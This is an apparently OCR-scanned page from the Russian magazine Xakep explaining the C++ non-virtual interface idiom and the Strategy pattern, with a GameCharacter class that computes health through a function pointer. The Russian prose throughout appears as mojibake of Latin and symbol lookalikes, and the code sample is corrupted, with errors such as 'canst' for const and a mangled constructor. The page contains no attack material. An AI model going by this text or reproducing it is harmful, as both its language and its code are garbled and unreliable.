OCHOBHa51l-1.Ll,e51 aroro nO,D,XOAa - AaTb KnllleHTaM B03MO>KHOCTb BbI3b!aars saxpsrrue Bli1pTya.nbHble ¢YHKLJ,li1l11 onocpeno saaao. -iepea OTKPb!r sre He Bl-1pTya.nbHb!e <PYHKLJ,J.1111-4.neHbl. ,D,aHHblrll nonxon J.13BeCTeH nOA Ha3saHlIleM «J.1,llJ.10Ma He BlI1prya.nbHoro J.1Hrepcpelilca» lIIJllll non-virtual interface idiom (NVI]. OH npencre anaer cofioji YaCTHbflil cny4aiir 60nee WJ.1pOKOrO na'rrepaa npOEKTli1pOBaHl!Is:! - «Wa6noHHblw MerOA». TaK>Ke He B"pTyanbHYIO ¢YHK~"IO healthValue MO)l(HO Ha3b[BaTb 06epTKoii B"pTyanbHoii ¢YHK~"".

npel!lMyw,ecTBo lIIAlIIOMbl NVI 3aKnf04aerCR B KO,D,e, CKPblTOM 3a KOMMeHTaplII51MlII «BblnanHlIITb npegBaplllTenbHble geYrcTBV1s:!» V1 «BblnOJlHV1Tb 3aBepwalOw,l!Ie ,lJ,eYrcTBl!Is:!». nO,lJ,pa3YMeBaeTcs:!, 4TO

rie pen l!I ncc ne BblnOJlHeHIIls:! Bl!IpTyanbHoYr <PYHKLJ,l!IV1, 06s:!3aTeJlbHO 6Y,lJ,eTBblnonHeH HeKOTOpblrll KO,D,. TaKli1M o6pa30M, ofie pr xa HaCTPOV1T KOHTeKCT ne pe a Bbl30BOM Bl!IpryanbHoYr <PYHKLJ,V1l!1, a nocne - 04111cn1T ero. HanplllMep, n p en aa p ar e ne a e.e .n.erllCTBl!IR MoryT 3aKJl104aTbC51 B 3aXBaTe MblOTeKca, 3anlllceYr HeKOTOpOrllIl1H<popMaLJ,1Il1ll s nor li1 T.,lJ,. no 3aSepWeHY11O 6Y,Il,eT BblnOJlHeHO OCBo60>K,ll,eHVle MblOTeKca, np o aep ca lIIHSapli1aHTOB KJlaCCa l!I s c e oc ran s aoe. Ecnlll nos ao n ar s KJll!leHTaM Hanp51MYIO Bbl3BaTb BlIlpTyaJlbHylO <PYH KU.1Il 10, TO 6ygeT 04eHb 3aTpYAHli1TeJlbHO npo ae cr a r a cyto np e ns a p areneHYIO nO,lJ,rOToBKY·

CTOl!lT06paTV1Tb BHl!IMaHli1e Ha TO, 4TO Mbl 06bRBII1JlV1 uauiy Bl!IpTyanbHYIO CPYH KLJ,IIl 10 doHealthValue 3aKpblToYr, a He 3aw,lIlw,eHHO~, TO ecrs: npol!I3BOgH bl ~ KJlaCC MO>KeT on pe,lJ,ens:!Tb ee nOSe,Il,eH 1I1e, HO He MO>KeT Bbl- 3blsaTb ee. Hexorop su- 3TO MO>KeT nOKa3aTbC$1 CTpaHHbIM, HO 3,Il,eCb HeT npOT"BOpeY"": onpeAeneH"e nOBeAeH"" ¢YHK~""" Bb[30B ¢YHK~"" 8 on pegeJleHHoe e peraa - 3TO ABe coaepure a HO He3a Bli1Cli1Mble npyr OT npyra Bel11".

XAKEP 06/137/10

B HeKOTopblX cnY4aRX BV1pTyanbHYfO CPYHKu,IIlIO-LJneH MO>KHO cnenar» 3aw,lIlw,eHHOYr, a He 3aKpbIToi:1. HanplllMep. eCJl1l1 6bl Hawa CPYHKLJ,l!I$1 doHealthValue l!I3 np0li13BO,lJ,HOrO kne cca Bbl3blBana oAHol!lMeHHYIO <PYHKLJ,1Il1O 1113 6a30Boro «nacca. TO ee npuurnocs 6bl 06b5iBIIlTb aau.nw,eHHoVr. TaK>Ke BV1pTyaJlbHYro CPYH KLJ,VI 10 MO>KHO czienar s OTKPbITOYr, HO K 3TOMY CJlY4alO lIl,lJ,l!IOMa NVI y>KE HenplIlMeHIIlMa.

naTTepH «CTpaT~rHH»

H yKa~aTenH Ha QlYHKUHH

V1,1J,l!IOMa NVI- 3TO VlHTepeCHa5i ansrepuaruaa orxpuruv BV1pTyaJlbHbiM <PYHKlI,l!Is:!M, HO, C T04KJ.13peHli1$1 npOeKTl!IpOBaHIIls:!, OHa nae r He CJll!lWKOM MHoro - Mbl nO-npe>KHeMY IIlCnOJlb3yeM BV1pTyaJlbHble <PYHKLJ,lIllll ,lJ,Jl$1 SbI4I1lCJleHVI$1 >KV13HIIl Ka>K,lJ,oro nepCOHa>Ka. IOpa3,Il,O 60nee ClIlllbHblM peweHlIleM C 3TOYr T04KVI 3peHv1S1 6blno 6bl YTsep>K,lJ,eH1I1e 0 TOM, 4TO Bbl- 4I1lcneHl!l51 >KVl3HeHHoVr Cl!IJlbl He 3aBV1CS1T or ruria nepco+ axa 111, 60nee Taro, He s:!811RIOTCR ero CBOYrCTBOM KaK ra co acro. ApyrV1MlII cnOBaMIIl, sa 3Tl!I BbI4l!1CneHli1~ 6Y,lJ,eT oraevar s <PYH KLJ,IIl51 , He RBJlllrow,a51C$1 LJneHOM xnacca. Hanpn-rep. Mbl MO>KeM nepenaaan, KOHCTpYKTOpy KJlaCCa yKaaarern, Ha <PYHKLJ,1Il 10 , KOTopaR ccyute cranae'r BblLJlIlCneHIIl51 >KVl3HeHHOYr CIIlJlbl.

np&.1Mep narrepua «Crpareraa» / / onepeaeonee OnJ.1CaHJ1e class GameCharacter;

1/ 9YHKUMH no YMOJ1'iaHlIIJO nna Bbl"!11cneHI1R iiu13HeHHQM C11JIh\ int defaultHealthCalc(canst GarneCharacter&);

class GarneCharacter { public:

typedef int (*HealthCalcFunc) (canst GameCharacter&) i

explicit GameCharacter(HealthCalcFunc hc f 0 defaultHealthCalcl

healthFunc (hcE I {}

int healthValue() canst {return healthFunc (*this);}

private:

HealthCalcFunc healthFunci

l :

VlTaK, Mbl npl!lBenlll np cc ro a nplllMep p e ann s auua npyr or o pacnpo cr paaeu-rcro narre p+a np o exr ap o aau aa - «Cr p arerua». Flo

~107

You might also like